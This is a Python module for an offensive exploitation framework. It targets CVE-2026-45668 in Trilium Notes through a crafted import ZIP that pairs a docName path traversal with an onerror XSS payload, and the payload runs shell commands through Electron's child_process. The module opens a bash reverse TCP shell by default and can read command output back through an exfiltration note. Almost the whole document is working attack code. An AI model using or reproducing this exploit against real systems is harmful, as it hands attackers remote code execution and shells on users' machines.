Trilium Notes Safe Import RCE (CVE-2026-45668)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-45668 — Trilium Notes safe-import docName traversal to Electron RCE."""

import base64
import io
import json
import re
import secrets
import time
import zipfile

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.response_validation import parse_json_response


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Trilium Notes Safe Import RCE (CVE-2026-45668)",
        "description": (
            "Exploits CVE-2026-45668 in Trilium Notes (TriliumNext) <= 0.102.1: a malicious export "
            "ZIP imported with safeImport=true keeps a code-note XSS payload, a docName label with "
            "path traversal, and a '_' noteId preserved verbatim. Opening the trigger doc loads the "
            "payload via jQuery into a nodeIntegration renderer and runs the configured framework "
            "payload (reverse_tcp session by default). With set payload nopayload, falls back to "
            "verify_cmd and reads output from an exfil note over HTTP."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-45668"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-45668",
            "https://www.cve.org/CVERecord?id=CVE-2026-45668",
        ],
        "platform": Platform.MULTI,
        "arch": [Arch.X86, Arch.X64],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "trilium",
            "electron",
            "xss",
            "path-traversal",
            "import",
            "rce",
            "cve-2026-45668",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 10,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "cost": 2.0,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["trilium"],
                "endpoint_pattern_any": ["/bootstrap", "/api/notes/"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "Electron child_process.exec"},
                    {"capability": "shell", "from_detail": "framework reverse_tcp session"},
                ],
                "suggested_followups": [],
            },
        },
    }

    port = OptPort(37840, "Trilium desktop HTTP API port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    verify_cmd = OptString(
        "id",
        "Command when set payload nopayload (output captured via exfil note)",
        False,
        advanced=True,
    )
    poll_seconds = OptInteger(
        20,
        "Seconds to poll the output note when using nopayload / verify_cmd",
        False,
        advanced=True,
    )

    def _payload_command(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if command:
            return command
        return str(self.verify_cmd or "id").strip() or "id"

    def _capture_command_output(self) -> bool:
        if self._is_nopayload():
            return True
        path = self._get_configured_payload_path().lower()
        return "reverse" not in path and "bind" not in path

    def _api(self, suffix: str) -> str:
        base = (self.path or "/").rstrip("/")
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}" if base else suffix

    def _version_tuple(self, version: str):
        match = re.match(r"(\d+)\.(\d+)\.(\d+)", str(version or ""))
        if not match:
            return None
        return (int(match.group(1)), int(match.group(2)), int(match.group(3)))

    def _payload_html(self, command: str, output_note: str, capture_output: bool) -> str:
        b64 = base64.b64encode(command.encode()).decode()
        inner = f"echo {b64} | base64 -d | sh"
        if capture_output:
            rce_begin = "__RCE_BEGIN__"
            rce_end = "__RCE_END__"
            js = (
                f'var cp=require("child_process");'
                f'cp.exec("{inner}",function(e,o,r){{'
                f'var b="{rce_begin}\\n"+String(o)+String(r)+"{rce_end}";'
                f'var fd=new FormData();'
                f'fd.append("upload",new Blob([b],{{type:"text/plain"}}),"o");'
                f'fetch("/api/notes/{output_note}/file",{{method:"PUT",'
                f'headers:{{"x-csrf-token":window.glob.csrfToken}},body:fd}});'
                f"}});"
            )
        else:
            js = f'var cp=require("child_process");cp.exec("{inner}");'
        return f"<img src=x onerror='{js}'>"

    def _evil_zip(self, command: str, capture_output: bool) -> bytes:
        payload_note = "_doc_xss_payload"
        output_note = "_doc_xss_output"
        trigger_note = "_doc_xss_trigger"
        docname = f"../../../../api/notes/{payload_note}/open?x="
        meta = {
            "formatVersion": 2,
            "appVersion": "0.101.3",
            "files": [
                {
                    "dirFileName": "xss-demo",
                    "title": "xss-demo",
                    "type": "text",
                    "mime": "text/html",
                    "children": [
                        {
                            "noteId": payload_note,
                            "title": "payload",
                            "type": "code",
                            "mime": "text/plain",
                            "dataFileName": "payload.txt",
                            "attributes": [],
                        },
                        {
                            "noteId": output_note,
                            "title": "output",
                            "type": "code",
                            "mime": "text/plain",
                            "dataFileName": "output.txt",
                            "attributes": [],
                        },
                        {
                            "noteId": trigger_note,
                            "title": "doc trigger",
                            "type": "doc",
                            "mime": "",
                            "dataFileName": "trigger.txt",
                            "attributes": [
                                {
                                    "type": "label",
                                    "name": "docName",
                                    "value": docname,
                                }
                            ],
                        },
                    ],
                }
            ],
        }
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
            zf.writestr("!!!meta.json", json.dumps(meta, indent=2))
            zf.writestr("xss-demo/payload.txt", self._payload_html(command, output_note, capture_output))
            zf.writestr("xss-demo/output.txt", "PENDING")
            zf.writestr("xss-demo/trigger.txt", "")
        return buf.getvalue()

    def check(self):
        try:
            response = self.http_request(
                method="GET",
                path=self._api("/bootstrap"),
                session=True,
                allow_redirects=False,
                timeout=int(self.timeout or 15),
            )
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"target unreachable: {exc.__class__.__name__}",
                "confidence": "low",
            }

        if not response or int(response.status_code or 0) != 200:
            return {
                "vulnerable": False,
                "reason": f"bootstrap unavailable (HTTP {getattr(response, 'status_code', '?')})",
                "confidence": "medium",
            }

        body, err = parse_json_response(response)
        if err or not body:
            return {
                "vulnerable": False,
                "reason": "bootstrap response is not valid JSON",
                "confidence": "medium",
            }

        csrf = body.get("csrfToken")
        version = str(body.get("triliumVersion") or "")
        if not csrf:
            return {
                "vulnerable": False,
                "reason": "no CSRF token — not a Trilium desktop API",
                "confidence": "high",
            }

        ver_t = self._version_tuple(version)
        if ver_t and ver_t >= (0, 102, 2):
            return {
                "vulnerable": False,
                "reason": f"Trilium {version} >= 0.102.2 (patched)",
                "confidence": "high",
                "csrf": csrf,
                "version": version,
            }

        reason = f"Trilium {version or 'unknown'} API reachable (< 0.102.2 or version unparseable)"
        return {
            "vulnerable": True,
            "reason": reason,
            "confidence": "high" if ver_t else "medium",
            "csrf": csrf,
            "version": version,
        }

    def run(self):
        try:
            print_status("CVE-2026-45668 — Trilium safe-import docName traversal RCE")

            result = self.check()
            if not result.get("vulnerable"):
                print_error(result.get("reason", "Target does not appear exploitable"))
                self.not_vulnerable()
                return False

            version = result.get("version") or "?"
            print_success(result.get("reason", "Target appears exploitable"))
            print_info(f"Trilium version: {version} (fixed in 0.102.2)")
            ver_t = self._version_tuple(version)
            if ver_t and ver_t >= (0, 102, 2):
                print_warning("Reported version is patched — continuing anyway")

            csrf = result.get("csrf") or ""
            command = self._payload_command()
            capture_output = self._capture_command_output()
            payload_note = "_doc_xss_payload"
            output_note = "_doc_xss_output"
            trigger_note = "_doc_xss_trigger"

            if capture_output:
                print_status(f"Building ZIP with verify command: {command}")
            else:
                print_status("Building ZIP with framework payload — waiting for session on listener")

            zip_bytes = self._evil_zip(command, capture_output)

            print_status("Importing archive with safeImport=true")
            import_resp = self.http_request(
                method="POST",
                path=self._api("/api/notes/root/notes-import"),
                data={
                    "taskId": secrets.token_hex(4),
                    "last": "true",
                    "safeImport": "true",
                    "textImportedAsText": "true",
                    "codeImportedAsCode": "true",
                    "shrinkImages": "false",
                    "explodeArchives": "true",
                    "replaceUnderscoresWithSpaces": "false",
                },
                files={"upload": ("evil.zip", zip_bytes, "application/zip")},
                headers={"x-csrf-token": csrf},
                session=True,
                allow_redirects=False,
                timeout=int(self.timeout or 60),
            )
            if not import_resp or int(import_resp.status_code or 0) != 200:
                code = getattr(import_resp, "status_code", "?")
                print_error(f"Import rejected (HTTP {code})")
                self.not_vulnerable()
                return False

            print_success("Import accepted (HTTP 200)")
            time.sleep(1)

            print_status(f"Confirming payload note {payload_note}")
            payload_resp = self.http_request(
                method="GET",
                path=self._api(f"/api/notes/{payload_note}/open?x=.html"),
                session=True,
                allow_redirects=False,
                timeout=int(self.timeout or 15),
            )
            ptext = (payload_resp.text or "") if payload_resp else ""
            pcode = int(payload_resp.status_code or 0) if payload_resp else 0
            if pcode == 404:
                print_error(
                    f"Payload note HTTP 404 — '_' noteId remapped on import (patched >= 0.102.2)"
                )
                self.not_vulnerable()
                return False
            if pcode != 200 or "onerror" not in ptext:
                print_error("Payload note not readable with onerror handler — likely patched")
                self.not_vulnerable()
                return False

            print_success("Unsanitised payload stored with preserved noteId")

            print_status("Triggering doc renderer via clipper/open")
            self.http_request(
                method="POST",
                path=self._api("/api/clipper/open/root"),
                headers={"x-csrf-token": csrf},
                session=True,
                allow_redirects=False,
                timeout=int(self.timeout or 15),
            )
            time.sleep(1)
            self.http_request(
                method="POST",
                path=self._api(f"/api/clipper/open/{trigger_note}"),
                headers={"x-csrf-token": csrf},
                session=True,
                allow_redirects=False,
                timeout=int(self.timeout or 15),
            )

            if not capture_output:
                print_success("Payload triggered via doc renderer — check listener for session")
                self.vulnerable()
                return True

            print_status(f"Polling output note {output_note}")
            output = None
            deadline = time.time() + int(self.poll_seconds or 20)
            rce_begin = "__RCE_BEGIN__"
            rce_end = "__RCE_END__"
            pattern = re.compile(
                re.escape(rce_begin) + r"\n?(.*?)" + re.escape(rce_end),
                re.DOTALL,
            )
            while time.time() < deadline:
                out_resp = self.http_request(
                    method="GET",
                    path=self._api(f"/api/notes/{output_note}/open?x=.html"),
                    session=True,
                    allow_redirects=False,
                    timeout=int(self.timeout or 15),
                )
                if out_resp and int(out_resp.status_code or 0) == 200:
                    match = pattern.search(out_resp.text or "")
                    if match:
                        output = match.group(1).strip()
                        break
                time.sleep(1)

            if output is None:
                print_error(
                    f"No command output within {int(self.poll_seconds or 20)}s — "
                    "render may not have fired or target patched"
                )
                self.not_vulnerable()
                return False

            print_success(f"RCE confirmed — command '{command}' output:")
            print_info(output)
            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False